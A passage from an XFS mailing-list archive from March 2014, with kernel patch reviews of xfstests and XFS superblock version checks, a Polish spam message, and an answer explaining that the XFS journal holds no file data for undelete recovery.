([198.137.202.9]) by cuda.sgi.com with ESMTP id 7DVjIWQa3Bt5h1x9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Mar 2014 09:47:01 -0800 (PST) X-Barracuda-Envelope-From: BATV+22593027bdf4dbb8afe6+3847+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLcNo-0008TO-FL; Thu, 06 Mar 2014 17:47:00 +0000 Date: Thu, 6 Mar 2014 09:47:00 -0800 From: Christoph Hellwig To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH v2 4/8] xfstests: Move fallocate include into global.h Message-ID: <20140306174700.GD28297@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 4/8] xfstests: Move fallocate include into global.h References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> <1394034699-21187-5-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1394034699-21187-5-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1394128021 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3656 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From BATV+22593027bdf4dbb8afe6+3847+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 6 11:48:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 914AA7F50 for ; Thu, 6 Mar 2014 11:48:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2AEC9AC005 for ; Thu, 6 Mar 2014 09:48:15 -0800 (PST) X-ASG-Debug-ID: 1394128093-04bdf05dac31eb10001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id RLlQB2mWEtru99ib (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Mar 2014 09:48:13 -0800 (PST) X-Barracuda-Envelope-From: BATV+22593027bdf4dbb8afe6+3847+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLcOz-0008VD-Di; Thu, 06 Mar 2014 17:48:13 +0000 Date: Thu, 6 Mar 2014 09:48:13 -0800 From: Christoph Hellwig To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH v2 6/8] fsstress: translate flags in fiemap_f Message-ID: <20140306174813.GE28297@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 6/8] fsstress: translate flags in fiemap_f References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> <1394034699-21187-7-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1394034699-21187-7-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394128093 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3656 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- > +#ifdef HAVE_LINUX_FIEMAP_H > +struct print_flags fiemap_flags[] = { > + { FIEMAP_FLAG_SYNC, "SYNC"}, > + { FIEMAP_FLAG_XATTR, "XATTR"}, > + { -1, NULL} > +}; Can be static. > + > +#define translate_fiemap_flags(mode) \ > + ({translate_flags(mode, "|", fiemap_flags);}) > +#endif Any reason to not have these two inside fiemap_f? Otherwise: Reviewed-by: Christoph Hellwig From poczta@mailpoczta20.pl Thu Mar 6 11:50:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=FORGED_OUTLOOK_HTML, HTML_MESSAGE,MIME_HTML_ONLY,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 95AAE7F50 for ; Thu, 6 Mar 2014 11:50:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6F7DA304070 for ; Thu, 6 Mar 2014 09:50:25 -0800 (PST) X-ASG-Debug-ID: 1394128221-04cbb054b91083a0001-NocioJ Received: from srv.poczta300.pl (s10.poczta300.pl [91.237.52.254]) by cuda.sgi.com with ESMTP id QFh1RbhLi5Hn2puj (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Mar 2014 09:50:22 -0800 (PST) X-Barracuda-Envelope-From: poczta@mailpoczta20.pl X-Barracuda-Apparent-Source-IP: 91.237.52.254 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=mailpoczta20.pl; s=x; h=Content-Type:MIME-Version:Date:Message-ID:Subject:To:From; bh=NRt9abIo9GsPnCtQzHFznWin3seRHhxHXB2G+tYle9A=; b=s28Kyp/KOfGNYITARJiwFdy0JW9v8WQ+DE0Yli7iCSeFDFXjqitwWfF75VkihYmQKZg71Dm83rF8FRCEjjQ4S9L4DzoPAuLpvmfP/6yGPdQ4iqM86ZrU8e2JCDaI9z2P6JAPGRa+ld9L9cHYfMZ5U7qpC4BBB3jol8ktUGMwTF7KSO+5PHQOalMwX2CJbifL/RmVKQQZ2gKvH08HU5Xo57YVlRk+RZuCc7SPSfsiZTb27h0bYERlS3p0gQ7zT75Jt5Pb/v5E9gxqpvNYUDOWtl9SxEOWDo/OnyKivvx5aLL7Bs55FUCaE+a43P3pDFuY1+Q8N08AwMS10EOMydZxLg==; Received: from 178235055122.warszawa.vectranet.pl ([178.235.55.122] helo=TMS-SERWER) by srv.poczta300.pl with esmtpa (Exim 4.80.1) (envelope-from ) id 1WLcTS-0006tk-Gt; Thu, 06 Mar 2014 18:52:50 +0100 From: "testuj-online.pl" To: Subject: Test komputera oraz internetu - online Message-ID: <305E6EC03FAE3A0784BB22EB393C5384@TMS-SERWER> X-ASG-Orig-Subj: Test komputera oraz internetu - online Date: Thu, 6 Mar 2014 18:50:04 +0100 Organization: Trade Media Solutions X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3028 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary ="_NextPart_000_986.5559" X-Antivirus: avast! (VPS 140306-0, 2014-03-06), Outbound message X-Antivirus-Status: Clean X-Barracuda-Connect: s10.poczta300.pl[91.237.52.254] X-Barracuda-Start-Time: 1394128222 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_ADDR_MATCH, DKIM_SIGNED, DKIM_VERIFIED, FORGED_OUTLOOK_HTML, HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3656 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 FORGED_OUTLOOK_HTML Outlook can't send HTML message only 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address This is a multi-part message in MIME format. --_NextPart_000_986.5559 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable =20 =20 =20 =20 =20 =20 =20

Czy tw=F3j firmowy komputer jest bezpieczny = ?

=20

Czy dostawca internetu ci=EA nie oszukuje = ?

=20

Przetestuj wszystko za darmo

=20

http://testuj-online.pl

=20

 

=20

Ten mail ma charakter informacyjny. Informacja = nie =20 b=EAdzie wysy=B3ana na ten adres email ponownie

=20 =20 --_NextPart_000_986.5559-- From lczerner@redhat.com Thu Mar 6 11:58:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CE8DB7F50 for ; Thu, 6 Mar 2014 11:58:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id AA8718F8068 for ; Thu, 6 Mar 2014 09:58:00 -0800 (PST) X-ASG-Debug-ID: 1394128679-04bdf076f048300001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id euCLMGef1k9Vtpx7 for ; Thu, 06 Mar 2014 09:57:59 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s26HvN5H027379 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 6 Mar 2014 12:57:24 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s26HvHjU011551 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 6 Mar 2014 12:57:19 -0500 Date: Thu, 6 Mar 2014 18:57:17 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Christoph Hellwig cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH v2 1/8] xfstests: Create single function for testing xfs_io commands In-Reply-To: <20140306174420.GA28297@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 1/8] xfstests: Create single function for testing xfs_io commands Message-ID: References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> <1394034699-21187-2-git-send-email-lczerner@redhat.com> <20140306174420.GA28297@infradead.org> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394128679 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 6 Mar 2014, Christoph Hellwig wrote: > Date: Thu, 6 Mar 2014 09:44:20 -0800 > From: Christoph Hellwig > To: Lukas Czerner > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH v2 1/8] xfstests: Create single function for testing > xfs_io commands > > On Wed, Mar 05, 2014 at 04:51:32PM +0100, Lukas Czerner wrote: > > Currently there are several function testing various xfs_io commands. > > This commit creates _require_xfs_io_command() to test any xfs_command. > > Looks good. Do you plan to keep the wrappers around > _require_xfs_io_command in the long run or just for a transitional > period? I didn't really want to go back and change all the callers, but it can be done eventually. I do not have any strong opinions either way. > > Reviewed-by: Christoph Hellwig Thanks! -Lukas > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > From BATV+22593027bdf4dbb8afe6+3847+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 6 12:05:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EB58E7F50 for ; Thu, 6 Mar 2014 12:05:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id BD7EF8F8068 for ; Thu, 6 Mar 2014 10:05:36 -0800 (PST) X-ASG-Debug-ID: 1394129135-04bdf076f048c50001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id HC1E2ZHnEhhkMsHq (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Mar 2014 10:05:35 -0800 (PST) X-Barracuda-Envelope-From: BATV+22593027bdf4dbb8afe6+3847+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLcfm-0004ZM-Rt; Thu, 06 Mar 2014 18:05:34 +0000 Date: Thu, 6 Mar 2014 10:05:34 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [RFC, PATCH] xfs: make superblock version checks reflect reality Message-ID: <20140306180534.GA305@infradead.org> X-ASG-Orig-Subj: Re: [RFC, PATCH] xfs: make superblock version checks reflect reality References: <1394088890-10713-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1394088890-10713-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394129135 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3656 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On Thu, Mar 06, 2014 at 05:54:50PM +1100, Dave Chinner wrote: > From: Dave Chinner > > We only support filesystems that have v2 directory support, and than > means all the checking and handling of superblock versions prior to > this support being added is completely unnecessary overhead. > > Strip out all the version 1-3 support, sanitise the good version > checking to reflect the supported versions, update all the feature > supported functions and clean up all the support bit definitions to > reflect the fact that we no longer care about Irix bootloader flag > regions for v4 feature bits. Good idea in general, I like it. > Because the feature bit checking is all inline code, this relatively > small cleanup has a noticable impact on code size: I initially though moving it out of line might not be a bad idea, but it seems after your diet it's lean enough to not bother. > +/* > + * We only support superblocks that have at least V2 Dir capability. Any feature > + * bit added after v2 dir capability is also indicates a supported superblock > + * format. > + */ > +#define XFS_SB_NEEDED_FEATURES \ > + (XFS_SB_VERSION_DIRV2BIT | \ > + XFS_SB_VERSION_LOGV2BIT | \ > + XFS_SB_VERSION_SECTORBIT | \ > + XFS_SB_VERSION_BORGBIT | \ > XFS_SB_VERSION_MOREBITSBIT) This seems a bit odd. Shouldn't we simply check for XFS_SB_VERSION_DIRV2BIT as we actually rely on that? What if SGI had backported any of those other features to some IRIX branch? I'd vote to kill XFS_SB_NEEDED_FEATURES and just check the dirv2 bit explicitly. > +/* > + * Supported feature bit list is just all bits in the versionnum field because > + * we've used them all up and understand them all. > + */ > +#define XFS_SB_VERSION_OKBITS \ > + (XFS_SB_VERSION_NUMBITS | \ > + XFS_SB_VERSION_ALLFBITS) > > +#define XFS_SB_VERSION2_OKBITS \ > (XFS_SB_VERSION2_LAZYSBCOUNTBIT | \ > XFS_SB_VERSION2_ATTR2BIT | \ > XFS_SB_VERSION2_PROJID32BIT | \ > XFS_SB_VERSION2_FTYPE) > +/* > + * The first XFS version we support is filesytsems with V2 directories. > + */ is a v4 superblock with v2 directories? Also filesystem is mis-spelled. > static inline int xfs_sb_good_version(xfs_sb_t *sbp) > { > + /* We only support v4 and v5 */ > + if (XFS_SB_VERSION_NUM(sbp) < XFS_SB_VERSION_4 || > + XFS_SB_VERSION_NUM(sbp) > XFS_SB_VERSION_5) > + return 0; > + > + /* > + * Version 5 feature checks are done separately. > + */ > + if (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) > return 1; How about doing this a little different? static inline int xfs_sb_good_version(struct xfs_sb *sbp) { if (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) return 1; if (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_4) return xfs_sb_good_v4_features(sbp); return 0; } then move the bulk of the function into xfs_sb_good_v4_features? > + if ((sbp->sb_versionnum & ~XFS_SB_VERSION_OKBITS) || > + ((sbp->sb_versionnum & XFS_SB_VERSION_MOREBITSBIT) && > + (sbp->sb_features2 & ~XFS_SB_VERSION2_OKBITS))) > return 0; > + if (sbp->sb_shared_vn > XFS_SB_MAX_SHARED_VN) > + return 0; Given that XFS_SB_MAX_SHARED_VN we might as well make that and != 0 check and document that we don't support any shared superblocks. > static inline int xfs_sb_version_hasattr(xfs_sb_t *sbp) > { > + return !!(sbp->sb_versionnum & XFS_SB_VERSION_ATTRBIT); > } Should this become a bool? > > static inline void xfs_sb_version_addattr(xfs_sb_t *sbp) > { > + sbp->sb_versionnum |= XFS_SB_VERSION_ATTRBIT; > } I'd rather not keep the wrappers for adding these flags - the callers already know sb internals, might as well not keep a false abstraction here. > static inline int xfs_sb_version_hasnlink(xfs_sb_t *sbp) > { > - return sbp->sb_versionnum == XFS_SB_VERSION_3 || > - (XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4 && > - (sbp->sb_versionnum & XFS_SB_VERSION_NLINKBIT)); > + return !!(sbp->sb_versionnum & XFS_SB_VERSION_NLINKBIT); > } As we reject filesystems without the nlink bit we should just be able to kill all code protected by xfs_sb_version_hasnlink checks, shouldn't we? > static inline void xfs_sb_version_addnlink(xfs_sb_t *sbp) > { > + sbp->sb_versionnum |= XFS_SB_VERSION_NLINKBIT; > } Same for addnlink. > static inline int xfs_sb_version_hasdirv2(xfs_sb_t *sbp) > { > - return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) || > - (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_4 && > - (sbp->sb_versionnum & XFS_SB_VERSION_DIRV2BIT)); > + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 || > + (sbp->sb_versionnum & XFS_SB_VERSION_DIRV2BIT); > } dirv2 is another candidate. > @@ -536,11 +493,13 @@ static inline void xfs_sb_version_addattr2(xfs_sb_t *sbp) > { > sbp->sb_versionnum |= XFS_SB_VERSION_MOREBITSBIT; > sbp->sb_features2 |= XFS_SB_VERSION2_ATTR2BIT; > + sbp->sb_bad_features2 |= XFS_SB_VERSION2_ATTR2BIT; > } > > static inline void xfs_sb_version_removeattr2(xfs_sb_t *sbp) > { > sbp->sb_features2 &= ~XFS_SB_VERSION2_ATTR2BIT; > + sbp->sb_bad_features2 &= ~XFS_SB_VERSION2_ATTR2BIT; Where is this coming from? Seems unrelated to the other changes. From lczerner@redhat.com Thu Mar 6 12:13:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6942E7F50 for ; Thu, 6 Mar 2014 12:13:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 58ED48F8035 for ; Thu, 6 Mar 2014 10:13:03 -0800 (PST) X-ASG-Debug-ID: 1394129578-04cb6c56762fe4e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ekpznmNIs2pKP67v for ; Thu, 06 Mar 2014 10:12:59 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s26IB11r023486 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 6 Mar 2014 13:12:33 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s26I2H6h018919 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 6 Mar 2014 13:02:18 -0500 Date: Thu, 6 Mar 2014 19:02:16 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Christoph Hellwig cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH v2 6/8] fsstress: translate flags in fiemap_f In-Reply-To: <20140306174813.GE28297@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 6/8] fsstress: translate flags in fiemap_f Message-ID: References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> <1394034699-21187-7-git-send-email-lczerner@redhat.com> <20140306174813.GE28297@infradead.org> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394129579 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 6 Mar 2014, Christoph Hellwig wrote: > Date: Thu, 6 Mar 2014 09:48:13 -0800 > From: Christoph Hellwig > To: Lukas Czerner > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH v2 6/8] fsstress: translate flags in fiemap_f > > > +#ifdef HAVE_LINUX_FIEMAP_H > > +struct print_flags fiemap_flags[] = { > > + { FIEMAP_FLAG_SYNC, "SYNC"}, > > + { FIEMAP_FLAG_XATTR, "XATTR"}, > > + { -1, NULL} > > +}; > > Can be static. Right. The same applies to falloc_flags > > > + > > +#define translate_fiemap_flags(mode) \ > > + ({translate_flags(mode, "|", fiemap_flags);}) > > +#endif > > Any reason to not have these two inside fiemap_f? Not really, other than I think it's ugly. > > Otherwise: > > Reviewed-by: Christoph Hellwig Thanks! -Lukas > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > From stan@hardwarefreak.com Thu Mar 6 14:31:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1C9527F50 for ; Thu, 6 Mar 2014 14:31:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 01EEB8F806F for ; Thu, 6 Mar 2014 12:30:58 -0800 (PST) X-ASG-Debug-ID: 1394137854-04bdf076f0527d0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id esHFUkqWcPN2TfOj for ; Thu, 06 Mar 2014 12:30:54 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id E944E6C180; Thu, 6 Mar 2014 14:30:53 -0600 (CST) Message-ID: <5318DB01.2040102@hardwarefreak.com> Date: Thu, 06 Mar 2014 14:30:57 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Yongmin , xfs@oss.sgi.com Subject: Re: Hello, I have a question about XFS File System References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System In-Reply-To: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1394137854 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 3/6/2014 3:15 AM, Yongmin wrote: > > Hello. > > My name is Yongmin Park and I am a graduated student in Ajou > University (Korea). My research area is Digital Forensics. And this > time i tried to understand the structure of XFS file system, because > XFS is one of the famous huge file system in these days. > > I already founded and read 'XFS Filesystem Structure 2nd Edition > Revision 1' on the Internet, which was written by Silicon Graphics > Inc in 2006 and it is really well written to understand. > > But the concentrated part of mine is "Deleted File Recovery", so the > Journaling part is really important for me,, but regretfully there > are no specific guide line about Journaling part... Also next > version(maybe the 3re Edition) is not exsist for more than a 5 > years. > > So is there no guide line for journaling part in XFS? How can i get > them,, have I to buy them? or Is Analysing Source Cord only way to > study? The journal only contains in flight transactional metadata for recovery purposes after a system crash or power loss, to prevent filesystem, i.e. metadata, corruption. The journal does not contain file data. During normal operation, once the metadata has been written into an allocation group the transactional entry in the journal is removed. Thus, recovering deleted files has nothing to do with the journal. This may be helpful: http://xfs.org/index.php/XFS_FAQ#Q:_Does_the_filesystem_have_an_undelete_capability.3F -- Stan From david@fromorbit.com Thu Mar 6 16:56:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by 